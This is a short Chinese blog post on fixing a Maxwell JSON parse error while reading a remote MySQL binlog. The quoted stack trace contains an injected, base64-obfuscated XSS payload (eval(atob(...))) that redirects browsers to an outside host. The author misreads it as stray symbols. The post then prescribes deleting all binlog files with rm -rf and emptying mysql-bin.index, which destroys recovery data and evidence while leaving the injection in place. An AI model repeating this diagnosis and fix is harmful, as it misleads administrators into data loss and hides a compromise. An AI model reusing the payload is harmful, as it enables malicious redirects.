今天在使用Maxwell监听远程MySQL服务器的binlog日志时候出现了以下错误:
Caused by: java.sql.SQLException: com.fasterxml.jackson.core.JsonParseException: Unexpected character (''' (code 39)): expected a valid value (JSON String, Number, Array, Object or token 'null', 'true' or 'false')
at [Source: (String)"'"></title></a></style></script><body/οnlοad=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vd3d3LmhpZ2hjcG1yZXZlbnVlZ2F0ZS5jb20vcmlldWJhN21xP2tleT0xZTBkMTkyZmNjNjcwYzc5MjU0ZmVlYmExNTY5MGNlMSIp"))>"; line: 1, column: 2]
at com.zendesk.maxwell.schema.MysqlSavedSchema.restoreFullSchema(MysqlSavedSchema.java:532)
at com.zendesk.maxwell.schema.MysqlSavedSchema.restoreFromSchemaID(MysqlSavedSchema.java:412)
at com.zendesk.maxwell.schema.MysqlSavedSchema.restoreDerivedSchema(MysqlSavedSchema.java:383)
at com.zendesk.maxwell.schema.MysqlSavedSchema.restoreFromSchemaID(MysqlSavedSchema.java:409)
at com.zendesk.maxwell.schema.MysqlSavedSchema.restore(MysqlSavedSchema.java:307)
at com.zendesk.maxwell.schema.MysqlSchemaStore.restoreOrCaptureSchema(MysqlSchemaStore.java:68)
... 5 more
错误的原因是,Maxwell在读取日志文件时,有未识别的符号。
解决方法:
1.删除/var/lib/mysql下的binlog文件:
rm -rf *.000*
2.清空mysql-bin.index
: > mysql-bin.index
之后,重新启动Maxwell,问题成功解决。